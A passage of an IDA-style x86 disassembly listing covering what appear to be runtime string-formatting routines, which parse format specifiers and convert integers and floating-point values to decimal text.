cmp [ebp+var_10], 0
jz short loc_400083ED
push edx
lea eax, [ebp+var_10]
call sub_40008308
pop edx
loc_400083ED: ; CODE XREF: sub_40008314+CDj
pop ecx
mov esi, [ebp+var_28]
jmp loc_4000833D
sub_40008314 endp
; =============== S U B R O U T I N E =======================================
sub_400083F6 proc near ; CODE XREF: sub_40008314:loc_40008373p
; sub_40008314+83p
xor ebx, ebx
cmp al, 2Ah
jz short loc_4000841E
loc_400083FC: ; CODE XREF: sub_400083F6+20j
cmp al, 30h
jb short locret_4000843D
cmp al, 39h
ja short locret_4000843D
imul ebx, 0Ah
sub al, 30h
movzx eax, al
add ebx, eax
cmp esi, ecx
jz short loc_40008418
lodsb
jmp short loc_400083FC
; ---------------------------------------------------------------------------
loc_40008418: ; CODE XREF: sub_400083F6+1Dj
; sub_400083F6+44j
pop eax
jmp loc_4000834E
; ---------------------------------------------------------------------------
loc_4000841E: ; CODE XREF: sub_400083F6+4j
mov eax, [ebp-0Ch]
cmp eax, [ebp+8]
jg short loc_40008438
inc dword ptr [ebp-0Ch]
mov ebx, [ebp+0Ch]
cmp byte ptr [ebx+eax*8+4], 0
mov ebx, [ebx+eax*8]
jz short loc_40008438
xor ebx, ebx
loc_40008438: ; CODE XREF: sub_400083F6+2Ej
; sub_400083F6+3Ej
cmp esi, ecx
jz short loc_40008418
lodsb
locret_4000843D: ; CODE XREF: sub_400083F6+8j
; sub_400083F6+Cj
retn
sub_400083F6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4000843E proc near ; CODE XREF: sub_40008314+90p
and al, 0DFh
mov cl, al
mov eax, 1
mov ebx, [ebp-0Ch]
cmp ebx, [ebp+8]
jg short loc_400084AB
inc dword ptr [ebp-0Ch]
mov esi, [ebp+0Ch]
lea esi, [esi+ebx*8]
mov eax, [esi]
movzx edx, byte ptr [esi+4]
jmp ds:off_40008465[edx*4]
; ---------------------------------------------------------------------------
off_40008465 dd offset loc_400084F6 ; DATA XREF: sub_4000843E+20r
dd offset loc_400084A9
dd offset loc_4000852F
dd offset loc_400085F6
dd offset loc_4000855F
dd offset loc_400085D7
dd offset loc_400085B7
dd offset loc_400084A9
dd offset loc_400084A9
dd offset loc_400084A9
dd offset loc_40008570
dd offset loc_4000859B
dd offset loc_400085F2
dd offset loc_4000853E
dd offset loc_400084A9
dd offset loc_40008577
dd offset loc_400084C0
; ---------------------------------------------------------------------------
loc_400084A9: ; CODE XREF: sub_4000843E+20j
; sub_4000843E+B6j ...
xor eax, eax
loc_400084AB: ; CODE XREF: sub_4000843E+Fj
call sub_4000866B
mov edx, [ebp-18h]
mov ecx, [ebp-28h]
sub ecx, edx
mov ebx, [ebp-4]
call sub_4000828C
loc_400084C0: ; CODE XREF: sub_4000843E+20j
; DATA XREF: sub_4000843E+67o
lea esi, [ebp-49h]
mov edx, [ebp-24h]
cmp edx, 20h
jbe short loc_400084CD
xor edx, edx
loc_400084CD: ; CODE XREF: sub_4000843E+8Bj
mov ebx, ecx
sub cl, 44h
jz sub_40007CB8
mov ecx, 10h
cmp bl, 58h
jz sub_40007CB8
mov ecx, 0Ah
cmp bl, 55h
jz sub_40007CB8
jmp short loc_400084A9
; ---------------------------------------------------------------------------
loc_400084F6: ; CODE XREF: sub_4000843E+20j
; DATA XREF: sub_4000843E:off_40008465o
lea esi, [ebp-59h]
mov edx, [ebp-24h]
mov ebx, ecx
cmp edx, 10h
jbe short loc_40008505
xor edx, edx
loc_40008505: ; CODE XREF: sub_4000843E+C3j
sub cl, 44h
jz sub_40007C4C
mov ecx, 10h
cmp bl, 58h
jz sub_40007C4C
mov ecx, 0Ah
cmp bl, 55h
jz sub_40007C4C
jmp loc_400084A9
; ---------------------------------------------------------------------------
loc_4000852F: ; CODE XREF: sub_4000843E+20j
; DATA XREF: sub_4000843E+2Fo
cmp cl, 53h
jnz loc_400084A9
mov ecx, 1
retn
; ---------------------------------------------------------------------------
loc_4000853E: ; CODE XREF: sub_4000843E+20j
; DATA XREF: sub_4000843E+5Bo
cmp cl, 53h
jnz loc_400084A9
cmp word ptr [eax], 1
jbe short loc_4000855C
mov edx, eax
lea eax, [ebp-10h]
call sub_400082E4
mov esi, [ebp-10h]
jmp short loc_400085A6
; ---------------------------------------------------------------------------
loc_4000855C: ; CODE XREF: sub_4000843E+10Dj
; sub_4000843E+16Aj
xor ecx, ecx
retn
; ---------------------------------------------------------------------------
loc_4000855F: ; CODE XREF: sub_4000843E+20j
; DATA XREF: sub_4000843E+37o
cmp cl, 53h
jnz loc_400084A9
mov esi, eax
lodsb
movzx ecx, al
jmp short loc_400085AD
; ---------------------------------------------------------------------------
loc_40008570: ; CODE XREF: sub_4000843E+20j
; DATA XREF: sub_4000843E+4Fo
mov esi, offset sub_40004AAC
jmp short loc_4000857C
; ---------------------------------------------------------------------------
loc_40008577: ; CODE XREF: sub_4000843E+20j
; DATA XREF: sub_4000843E+63o
mov esi, offset sub_40004B0C
loc_4000857C: ; CODE XREF: sub_4000843E+137j
add esi, [ebp-4]
cmp cl, 53h
jnz loc_400084A9
mov edx, eax
lea eax, [ebp-14h]
push ebx
mov ebx, [ebp-4]
call esi
pop ebx
mov esi, [ebp-14h]
mov eax, esi
jmp short loc_400085A6
; ---------------------------------------------------------------------------
loc_4000859B: ; CODE XREF: sub_4000843E+20j
; DATA XREF: sub_4000843E+53o
cmp cl, 53h
jnz loc_400084A9
mov esi, eax
loc_400085A6: ; CODE XREF: sub_4000843E+11Cj
; sub_4000843E+15Bj
or esi, esi
jz short loc_4000855C
mov ecx, [esi-4]
loc_400085AD: ; CODE XREF: sub_4000843E+130j
cmp ecx, [ebp-24h]
ja short loc_400085B3
retn
; ---------------------------------------------------------------------------
loc_400085B3: ; CODE XREF: sub_4000843E+172j
mov ecx, [ebp-24h]
retn
; ---------------------------------------------------------------------------
loc_400085B7: ; CODE XREF: sub_4000843E+20j
; DATA XREF: sub_4000843E+3Fo
cmp cl, 53h
jnz loc_400084A9
mov esi, eax
push edi
mov edi, eax
xor al, al
mov ecx, [ebp-24h]
jecxz short loc_400085D1
repne scasb
jnz short loc_400085D1
dec edi
loc_400085D1: ; CODE XREF: sub_4000843E+18Cj
; sub_4000843E+190j
mov ecx, edi
sub ecx, esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_400085D7: ; CODE XREF: sub_4000843E+20j
; DATA XREF: sub_4000843E+3Bo
cmp cl, 50h
jnz loc_400084A9
mov edx, 8
mov ecx, 10h
lea esi, [ebp-59h]
jmp sub_40007C4C
; ---------------------------------------------------------------------------
loc_400085F2: ; CODE XREF: sub_4000843E+20j
; DATA XREF: sub_4000843E+57o
mov bh, 1
jmp short loc_400085F8
; ---------------------------------------------------------------------------
loc_400085F6: ; CODE XREF: sub_4000843E+20j
; DATA XREF: sub_4000843E+33o
mov bh, 0
loc_400085F8: ; CODE XREF: sub_4000843E+1B6j
mov esi, eax
mov bl, 0
cmp cl, 47h
jz short loc_40008640
mov bl, 1
cmp cl, 45h
jz short loc_40008640
mov bl, 2
cmp cl, 46h
jz short loc_40008621
mov bl, 3
cmp cl, 4Eh
jz short loc_40008621
cmp cl, 4Dh
jnz loc_400084A9
mov bl, 4
loc_40008621: ; CODE XREF: sub_4000843E+1CFj
; sub_4000843E+1D6j
mov eax, 12h
mov edx, [ebp-24h]
cmp edx, eax
jbe short loc_40008652
mov edx, 2
cmp cl, 4Dh
jnz short loc_40008652
movzx edx, ds:byte_4001E810
jmp short loc_40008652
; ---------------------------------------------------------------------------
loc_40008640: ; CODE XREF: sub_4000843E+1C1j
; sub_4000843E+1C8j
mov eax, [ebp-24h]
mov edx, 3
cmp eax, 12h
jbe short loc_40008652
mov eax, 0Fh
loc_40008652: ; CODE XREF: sub_4000843E+1EDj
; sub_4000843E+1F7j ...
push ebx
push eax
push edx
lea eax, [ebp-69h]
mov edx, esi
movzx ecx, bh
mov ebx, [ebp-4]
call sub_40008800
mov ecx, eax
lea esi, [ebp-69h]
retn
sub_4000843E endp
; =============== S U B R O U T I N E =======================================
sub_4000866B proc near ; CODE XREF: sub_4000843E:loc_400084ABp
; sub_40008314:loc_4000867Bp
push ebx
push eax
lea eax, [ebp-14h]
mov ebx, [ebp-4]
call sub_40004884
pop eax
pop ebx
retn
sub_4000866B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_40008314
loc_4000867B: ; CODE XREF: sub_40008314+3Fj
call sub_4000866B
pop edi
pop esi
pop ebx
pop ebx
mov esp, ebp
pop ebp
retn 0Ch
; END OF FUNCTION CHUNK FOR sub_40008314
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000868C proc near ; CODE XREF: sub_4000ADE0+169p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, ecx
mov edi, edx
mov ebx, eax
test ebx, ebx
jz short loc_400086C3
test esi, esi
jz short loc_400086C3
mov eax, esi
call sub_4000815C
push eax
mov eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_0]
push eax
mov ecx, esi
mov eax, ebx
mov edx, edi
call sub_40008314
mov byte ptr [ebx+eax], 0
mov eax, ebx
jmp short loc_400086C5
; ---------------------------------------------------------------------------
loc_400086C3: ; CODE XREF: sub_4000868C+Ej
; sub_4000868C+12j
xor eax, eax
loc_400086C5: ; CODE XREF: sub_4000868C+35j
pop edi
pop esi
pop ebx
pop ebp
retn 8
sub_4000868C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_400086CC proc near ; CODE XREF: sub_4000B06C+34p
; sub_4000B128+41p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
xchg eax, ecx
xchg edx, ecx
call sub_400086E0
pop ebp
retn 4
sub_400086CC endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_400086E0 proc near ; CODE XREF: sub_400086CC+Ap
; sub_40015EE4+74p
var_100C = byte ptr -100Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFF004h
push eax
add esp, 0FFFFFFF4h
push ebx
push esi
push edi
mov [ebp+var_8], ecx
mov [ebp+var_4], edx
mov edi, eax
mov ebx, 1000h
mov edx, [ebp+var_4]
mov eax, edx
test eax, eax
jz short loc_4000870B
sub eax, 4
mov eax, [eax]
loc_4000870B: ; CODE XREF: sub_400086E0+24j
cmp eax, 0C00h
jge short loc_4000873E
mov eax, edx
test eax, eax
jz short loc_4000871D
sub eax, 4
mov eax, [eax]
loc_4000871D: ; CODE XREF: sub_400086E0+36j
push eax
mov eax, [ebp+var_8]
push eax
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_4]
lea eax, [ebp+var_100C]
mov edx, 0FFFh
call sub_40008314
mov [ebp+var_C], eax
jmp short loc_4000874E
; ---------------------------------------------------------------------------
loc_4000873E: ; CODE XREF: sub_400086E0+30j
mov eax, edx
test eax, eax
jz short loc_40008749
sub eax, 4
mov eax, [eax]
loc_40008749: ; CODE XREF: sub_400086E0+62j
mov ebx, eax
mov [ebp+var_C], ebx
loc_4000874E: ; CODE XREF: sub_400086E0+5Cj
mov eax, ebx
dec eax
cmp eax, [ebp+var_C]
jg short loc_400087A3
jmp short loc_4000878F
; ---------------------------------------------------------------------------
loc_40008758: ; CODE XREF: sub_400086E0+B5j
add ebx, ebx
mov eax, edi
call sub_40004884
mov eax, edi
mov edx, ebx
call sub_40004F74
mov esi, [ebp+var_4]
test esi, esi
jz short loc_40008776
sub esi, 4
mov esi, [esi]
loc_40008776: ; CODE XREF: sub_400086E0+8Fj
push esi
mov eax, [ebp+var_8]
push eax
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_4]
mov edx, ebx
dec edx
mov eax, [edi]
call sub_40008314
mov [ebp+var_C], eax
loc_4000878F: ; CODE XREF: sub_400086E0+76j
mov eax, ebx
dec eax
cmp eax, [ebp+var_C]
jle short loc_40008758
mov eax, edi
mov edx, [ebp+var_C]
call sub_40004F74
jmp short loc_400087B3
; ---------------------------------------------------------------------------
loc_400087A3: ; CODE XREF: sub_400086E0+74j
lea edx, [ebp+var_100C]
mov eax, edi
mov ecx, [ebp+var_C]
call sub_40004974
loc_400087B3: ; CODE XREF: sub_400086E0+C1j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 4
sub_400086E0 endp
; =============== S U B R O U T I N E =======================================
sub_400087BC proc near ; CODE XREF: sub_40008909+8Dp
push esi
xor esi, esi
stosb
or bl, bl
jnz short loc_400087C8
xor edx, edx
jmp short loc_400087D2
; ---------------------------------------------------------------------------
loc_400087C8: ; CODE XREF: sub_400087BC+6j
or edx, edx
jge short loc_400087D2
mov al, 2Dh
neg edx
jmp short loc_400087D8
; ---------------------------------------------------------------------------
loc_400087D2: ; CODE XREF: sub_400087BC+Aj
; sub_400087BC+Ej
or ah, ah
jz short loc_400087D9
mov al, ah
loc_400087D8: ; CODE XREF: sub_400087BC+14j
stosb
loc_400087D9: ; CODE XREF: sub_400087BC+18j
xchg eax, edx
push eax
mov ebx, esp
loc_400087DD: ; CODE XREF: sub_400087BC+32j
; sub_400087BC+36j
xor edx, edx
div flt_4001A870[esi]
add dl, 30h
mov [ebx], dl
inc ebx
dec ecx
or eax, eax
jnz short loc_400087DD
or ecx, ecx
jg short loc_400087DD
loc_400087F4: ; CODE XREF: sub_400087BC+3Ej
dec ebx
mov al, [ebx]
stosb
cmp ebx, esp
jnz short loc_400087F4
pop eax
pop esi
retn
sub_400087BC endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40008800 proc near ; CODE XREF: sub_4000843E+222p
; sub_40008E14+17p ...
var_2C = word ptr -2Ch
var_29 = byte ptr -29h
var_14 = dword ptr -14h
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
; FUNCTION CHUNK AT 40008ACD SIZE 00000006 BYTES
push ebp
mov ebp, esp
add esp, 0FFFFFFD4h
push edi
push esi
push ebx
mov [ebp+var_4], eax
mov al, ds:byte_4001E80F
mov [ebp+var_5], al
mov al, ds:byte_4001E80E
mov [ebp+var_6], al
mov eax, ds:dword_4001E808
mov [ebp+var_C], eax
mov al, ds:byte_4001E80C
mov [ebp+var_D], al
mov al, ds:byte_4001E80D
mov [ebp+var_E], al
mov [ebp+var_14], 0
mov eax, 13h
cmp cl, 0
jnz short loc_4000885C
mov eax, [ebp+arg_4]
cmp eax, 2
jge short loc_40008852
mov eax, 2
loc_40008852: ; CODE XREF: sub_40008800+4Bj
cmp eax, 12h
jle short loc_4000885C
mov eax, 12h
loc_4000885C: ; CODE XREF: sub_40008800+43j
; sub_40008800+55j
mov [ebp+arg_4], eax
push eax
mov eax, 270Fh
cmp [ebp+arg_8], 2
jb short loc_4000886E
mov eax, [ebp+arg_0]
loc_4000886E: ; CODE XREF: sub_40008800+69j
push eax
lea eax, [ebp+var_2C]
call sub_40008AD4
mov edi, [ebp+var_4]
movzx eax, [ebp+var_2C]
sub eax, 7FFFh
cmp eax, 2
jnb short loc_400088A2
mov ecx, eax
call sub_400088FF
lea esi, dword_400088F0[ecx+ecx*2]
add esi, [ebp+var_14]
mov ecx, 3
rep movsb
jmp short loc_400088CF
; ---------------------------------------------------------------------------
loc_400088A2: ; CODE XREF: sub_40008800+86j
lea esi, [ebp+var_29]
movzx ebx, [ebp+arg_8]
cmp bl, 1
jz short loc_400088BE
cmp bl, 4
ja short loc_400088BC
movsx eax, [ebp+var_2C]
cmp eax, [ebp+arg_4]
jle short loc_400088BE
loc_400088BC: ; CODE XREF: sub_40008800+B1j
mov bl, 0
loc_400088BE: ; CODE XREF: sub_40008800+ACj
; sub_40008800+BAj
lea ebx, off_400088DC[ebx*4]
add ebx, [ebp+var_14]
mov ebx, [ebx]
add ebx, [ebp+var_14]
call ebx
loc_400088CF: ; CODE XREF: sub_40008800+A0j
mov eax, edi
sub eax, [ebp+var_4]
pop ebx
pop esi
pop edi
jmp loc_40008ACD
sub_40008800 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
off_400088DC dd offset sub_40008909 ; DATA XREF: sub_40008800:loc_400088BEo
dd offset loc_40008965
dd offset sub_4000899C
dd offset sub_4000899C
dd offset sub_40008A06
dword_400088F0 dd 4E464E49h ; ---------------------------------------------------------------------------
inc ecx
dec esi
; =============== S U B R O U T I N E =======================================
sub_400088F6 proc near ; CODE XREF: sub_40008909+61p
; sub_40008909:loc_40008978p ...
lodsb
or al, al
jnz short locret_400088FE
mov al, 30h
dec esi
locret_400088FE: ; CODE XREF: sub_400088F6+3j
retn
sub_400088F6 endp
; =============== S U B R O U T I N E =======================================
sub_400088FF proc near ; CODE XREF: sub_40008800+8Ap
; sub_40008909p ...
cmp byte ptr [ebp-2Ah], 0
jz short locret_40008908
mov al, 2Dh
stosb
locret_40008908: ; CODE XREF: sub_400088FF+4j
retn
sub_400088FF endp
; =============== S U B R O U T I N E =======================================
sub_40008909 proc near ; DATA XREF: .text:off_400088DCo
call sub_400088FF
movsx ecx, word ptr [ebp-2Ch]
xor edx, edx
cmp ecx, [ebp+0Ch]
jg short loc_40008936
cmp ecx, 0FFFFFFFDh
jl short loc_40008936
or ecx, ecx
jg short loc_4000893C
mov al, 30h
stosb
cmp byte ptr [esi], 0
jz short locret_40008964
mov al, [ebp-5]
stosb
neg ecx
mov al, 30h
rep stosb
jmp short loc_40008950
; ---------------------------------------------------------------------------
loc_40008936: ; CODE XREF: sub_40008909+Ej
; sub_40008909+13j
mov ecx, 1
inc edx
loc_4000893C: ; CODE XREF: sub_40008909+17j
; sub_40008909+39j
lodsb
or al, al
jz short loc_40008958
stosb
loop loc_4000893C
lodsb
or al, al
jz short loc_4000895C
mov ah, al
mov al, [ebp-5]
stosw
loc_40008950: ; CODE XREF: sub_40008909+2Bj
; sub_40008909+4Dj
lodsb
or al, al
jz short loc_4000895C
stosb
jmp short loc_40008950
; ---------------------------------------------------------------------------
loc_40008958: ; CODE XREF: sub_40008909+36j
mov al, 30h
rep stosb
loc_4000895C: ; CODE XREF: sub_40008909+3Ej
; sub_40008909+4Aj
or edx, edx
jz short locret_40008964
xor eax, eax
jmp short loc_40008982
; ---------------------------------------------------------------------------
locret_40008964: ; CODE XREF: sub_40008909+1Fj
; sub_40008909+55j
retn
; ---------------------------------------------------------------------------
loc_40008965: ; DATA XREF: .text:400088E0o
call sub_400088FF
call sub_400088F6
mov ah, [ebp-5]
stosw
mov ecx, [ebp+0Ch]
dec ecx
loc_40008978: ; CODE XREF: sub_40008909+75j
call sub_400088F6
stosb
loop loc_40008978
mov ah, 2Bh
loc_40008982: ; CODE XREF: sub_40008909+59j
mov ecx, [ebp+8]
cmp ecx, 4
jbe short loc_4000898C
xor ecx, ecx
loc_4000898C: ; CODE XREF: sub_40008909+7Fj
mov al, 45h
mov bl, [ebp-29h]
movsx edx, word ptr [ebp-2Ch]
dec edx
call sub_400087BC
retn
sub_40008909 endp
; =============== S U B R O U T I N E =======================================
sub_4000899C proc near ; DATA XREF: .text:400088E4o
; .text:400088E8o
call sub_400088FF
loc_400089A1: ; CODE XREF: sub_40008A06:loc_40008A4Fp
mov edx, [ebp+8]
cmp edx, 12h
jb short loc_400089AE
mov edx, 12h
loc_400089AE: ; CODE XREF: sub_4000899C+Bj
movsx ecx, word ptr [ebp-2Ch]
or ecx, ecx
jg short loc_400089BB
mov al, 30h
stosb
jmp short loc_400089E5
; ---------------------------------------------------------------------------
loc_400089BB: ; CODE XREF: sub_4000899C+18j
xor ebx, ebx
cmp byte ptr [ebp+10h], 2
jz short loc_400089CD
mov eax, ecx
dec eax
mov bl, 3
div bl
mov bl, ah
inc ebx
loc_400089CD: ; CODE XREF: sub_4000899C+25j
; sub_4000899C+3Bj ...
call sub_400088F6
stosb
dec ecx
jz short loc_400089E5
dec ebx
jnz short loc_400089CD
mov al, [ebp-6]
test al, al
jz short loc_400089CD
stosb
mov bl, 3
jmp short loc_400089CD
; ---------------------------------------------------------------------------
loc_400089E5: ; CODE XREF: sub_4000899C+1Dj
; sub_4000899C+38j
or edx, edx
jz short locret_40008A05
mov al, [ebp-5]
test al, al
jz short loc_400089F1
stosb
loc_400089F1: ; CODE XREF: sub_4000899C+52j
jecxz short loc_400089FC
mov al, 30h
loc_400089F5: ; CODE XREF: sub_4000899C+5Ej
stosb
dec edx
jz short locret_40008A05
inc ecx
jnz short loc_400089F5
loc_400089FC: ; CODE XREF: sub_4000899C:loc_400089F1j
; sub_4000899C+67j
call sub_400088F6
stosb
dec edx
jnz short loc_400089FC
locret_40008A05: ; CODE XREF: sub_4000899C+4Bj
; sub_4000899C+5Bj
retn
sub_4000899C endp
; =============== S U B R O U T I N E =======================================
sub_40008A06 proc near ; DATA XREF: .text:400088ECo
xor ebx, ebx
mov bl, [ebp-0Dh]
mov ecx, 3
cmp byte ptr [ebp-2Ah], 0
jz short loc_40008A1E
mov bl, [ebp-0Eh]
mov ecx, 40Fh
loc_40008A1E: ; CODE XREF: sub_40008A06+Ej
cmp bl, cl
jbe short loc_40008A24
mov bl, cl
loc_40008A24: ; CODE XREF: sub_40008A06+1Aj
add bl, ch
lea ebx, dword_40008A69[ebx+ebx*4]
add ebx, [ebp-14h]
mov ecx, 5
loc_40008A35: ; CODE XREF: sub_40008A06+51j
mov al, [ebx]
cmp al, 40h
jz short locret_40008A59
push ecx
push ebx
cmp al, 24h
jz short loc_40008A48
cmp al, 2Ah
jz short loc_40008A4F
stosb
jmp short loc_40008A54
; ---------------------------------------------------------------------------
loc_40008A48: ; CODE XREF: sub_40008A06+39j
call sub_40008A5A
jmp short loc_40008A54
; ---------------------------------------------------------------------------
loc_40008A4F: ; CODE XREF: sub_40008A06+3Dj
call loc_400089A1
loc_40008A54: ; CODE XREF: sub_40008A06+40j
; sub_40008A06+47j
pop ebx
pop ecx
inc ebx
loop loc_40008A35
locret_40008A59: ; CODE XREF: sub_40008A06+33j
retn
sub_40008A06 endp
; =============== S U B R O U T I N E =======================================
sub_40008A5A proc near ; CODE XREF: sub_40008A06:loc_40008A48p
push esi
mov esi, [ebp-0Ch]
test esi, esi
jz short loc_40008A67
mov ecx, [esi-4]
rep movsb
loc_40008A67: ; CODE XREF: sub_40008A5A+6j
pop esi
retn
sub_40008A5A endp
; ---------------------------------------------------------------------------
dword_40008A69 dd 40402A24h ; ---------------------------------------------------------------------------
inc eax
sub ah, [eax+eax*2]
inc eax
inc eax
and al, 20h
sub al, [eax+40h]
sub ah, [eax]
and al, 40h
inc eax
sub [edx+ebp], ah
sub [eax+2Dh], eax
and al, 2Ah
inc eax
inc eax
and al, 2Dh
sub al, [eax+40h]
and al, 2Ah
sub eax, 2A284040h
and al, 29h
inc eax
sub eax, 4040242Ah
sub ch, ds:2A404024h
and al, 2Dh
inc eax
inc eax
sub eax, 4024202Ah
sub eax, 402A2024h
sub ah, [eax]
and al, 2Dh
inc eax
and al, 20h
sub ch, ds:2D202440h
sub al, [eax+2Ah]
sub eax, 28402420h
and al, 20h
sub ch, [ecx]
sub [edx], ch
and [ecx+ebp], ah
; START OF FUNCTION CHUNK FOR sub_40008800
loc_40008ACD: ; CODE XREF: sub_40008800+D7j
mov esp, ebp
pop ebp
retn 0Ch
; END OF FUNCTION CHUNK FOR sub_40008800
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40008AD4 proc near ; CODE XREF: sub_40008800+72p
var_4 = dword ptr -4
; FUNCTION CHUNK AT 40008CF7 SIZE 00000009 BYTES
push ebp
mov ebp, esp
add esp, 0FFFFFFE0h
push edi
push esi
push ebx
mov ebx, eax
mov esi, edx
mov [ebp+var_4], 0
cmp cl, 0
jz short loc_40008AF7
call sub_40008C23
jmp loc_40008CF7
; ---------------------------------------------------------------------------
loc_40008AF7: ; CODE XREF: sub_40008AD4+17j
call sub_40008B01
jmp loc_40008CF7
sub_40008AD4 endp
; =============== S U B R O U T I N E =======================================
sub_40008B01 proc near ; CODE XREF: sub_40008AD4:loc_40008AF7p
mov ax, [esi+8]
mov edx, eax
and eax, 7FFFh
jz short loc_40008B2C
cmp eax, 7FFFh
jnz short loc_40008B37
test word ptr [esi+6], 8000h
jz short loc_40008B2E
cmp dword ptr [esi], 0
jnz short loc_40008B2B
cmp dword ptr [esi+4], 80000000h
jz short loc_40008B2E
loc_40008B2B: ; CODE XREF: sub_40008B01+1Fj
inc eax
loc_40008B2C: ; CODE XREF: sub_40008B01+Bj
; sub_40008B01+AFj
xor edx, edx
loc_40008B2E: ; CODE XREF: sub_40008B01+1Aj
; sub_40008B01+28j
mov byte ptr [ebx+3], 0
jmp loc_40008C04
; ---------------------------------------------------------------------------
loc_40008B37: ; CODE XREF: sub_40008B01+12j
fld tbyte ptr [esi]
sub eax, 3FFFh
imul eax, 4D10h
sar eax, 10h
inc eax
mov [ebp-8], eax
mov eax, 12h
sub eax, [ebp-8]
fabs
push ebx
mov ebx, [ebp-4]
call sub_40003870
pop ebx
frndint
mov edi, [ebp-4]
fld tbyte_4001A864[edi]
fcomp st(1)
fstsw word ptr [ebp-0Ah]
wait
test word ptr [ebp-0Ah], 4100h
jz short loc_40008B82
fidiv flt_4001A870[edi]
inc dword ptr [ebp-8]
loc_40008B82: ; CODE XREF: sub_40008B01+76j
fbstp tbyte ptr [ebp-18h]
lea edi, [ebx+3]
mov edx, 9
wait
loc_40008B8E: ; CODE XREF: sub_40008B01+A0j
mov al, [edx+ebp-19h]
mov ah, al
shr al, 4
and ah, 0Fh
add ax, 3030h
stosw
dec edx
jnz short loc_40008B8E
xor al, al
stosb
mov edi, [ebp-8]
add edi, [ebp+8]
jns short loc_40008BB5
xor eax, eax
jmp loc_40008B2C
; ---------------------------------------------------------------------------
loc_40008BB5: ; CODE XREF: sub_40008B01+ABj
cmp edi, [ebp+0Ch]
jb short loc_40008BBD
mov edi, [ebp+0Ch]
loc_40008BBD: ; CODE XREF: sub_40008B01+B7j
cmp edi, 12h
jnb short loc_40008BE9
cmp byte ptr [ebx+edi+3], 35h
jb short loc_40008BEE
loc_40008BC9: ; CODE XREF: sub_40008B01+D9j
mov byte ptr [ebx+edi+3], 0
dec edi
js short loc_40008BDE
inc byte ptr [ebx+edi+3]
cmp byte ptr [ebx+edi+3], 39h
ja short loc_40008BC9
jmp short loc_40008BFD
; ---------------------------------------------------------------------------
loc_40008BDE: ; CODE XREF: sub_40008B01+CEj
mov word ptr [ebx+3], 31h
inc dword ptr [ebp-8]
jmp short loc_40008BFD
; ---------------------------------------------------------------------------
loc_40008BE9: ; CODE XREF: sub_40008B01+BFj
mov edi, 12h
loc_40008BEE: ; CODE XREF: sub_40008B01+C6j
; sub_40008B01+FAj
mov byte ptr [ebx+edi+3], 0
dec edi
js short loc_40008C0F
cmp byte ptr [ebx+edi+3], 30h
jz short loc_40008BEE
loc_40008BFD: ; CODE XREF: sub_40008B01+DBj
; sub_40008B01+E6j
mov dx, [esi+8]
loc_40008C01: ; CODE XREF: sub_40008B01+110j
mov eax, [ebp-8]
loc_40008C04: ; CODE XREF: sub_40008B01+31j
shr dx, 0Fh
mov [ebx], ax
mov [ebx+2], dl
retn
; ---------------------------------------------------------------------------
loc_40008C0F: ; CODE XREF: sub_40008B01+F3j
; DATA XREF: sub_40008C23+60r
xor edx, edx
jmp short loc_40008C01
sub_40008B01 endp
; ---------------------------------------------------------------------------
db 0Ah
dd 64000000h, 0E8000000h, 10000003h
db 27h, 2 dup(0)
; =============== S U B R O U T I N E =======================================
sub_40008C23 proc near ; CODE XREF: sub_40008AD4+19p
mov eax, [esi]
mov edx, [esi+4]
mov ecx, eax
or ecx, edx
jz loc_40008CE9
or edx, edx
jns short loc_40008C3D
neg edx
neg eax
sbb edx, 0
loc_40008C3D: ; CODE XREF: sub_40008C23+11j
xor ecx, ecx
mov edi, [ebp+8]
or edi, edi
jge short loc_40008C48
xor edi, edi
loc_40008C48: ; CODE XREF: sub_40008C23+21j
cmp edi, 4
jl short loc_40008C6C
mov edi, 4
loc_40008C52: ; CODE XREF: sub_40008C23+3Bj
inc ecx
sub eax, 0A7640000h
sbb edx, 0DE0B6B3h
jnb short loc_40008C52
dec ecx
add eax, 0A7640000h
adc edx, 0DE0B6B3h
loc_40008C6C: ; CODE XREF: sub_40008C23+28j
mov [ebp-20h], eax
mov [ebp-1Ch], edx
fild qword ptr [ebp-20h]
mov edx, edi
mov eax, 4
sub eax, edx
jz short loc_40008C8A
mov edi, [ebp-4]
fidiv dword ptr ds:loc_40008C0F[edi+eax*4]
loc_40008C8A: ; CODE XREF: sub_40008C23+5Bj
fbstp tbyte ptr [ebp-18h]
lea edi, [ebx+3]
wait
or ecx, ecx
jnz short loc_40008CB0
mov ecx, 9
loc_40008C9A: ; CODE XREF: sub_40008C23+89j
mov al, [ecx+ebp-19h]
mov ah, al
shr al, 4
jnz short loc_40008CC3
mov al, ah
and al, 0Fh
jnz short loc_40008CCA
dec ecx
jnz short loc_40008C9A
jmp short loc_40008CE9
; ---------------------------------------------------------------------------
loc_40008CB0: ; CODE XREF: sub_40008C23+70j
mov al, cl
add al, 30h
stosb
mov ecx, 9
loc_40008CBA: ; CODE XREF: sub_40008C23+ABj
mov al, [ecx+ebp-19h]
mov ah, al
shr al, 4
loc_40008CC3: ; CODE XREF: sub_40008C23+80j
add al, 30h
stosb
mov al, ah
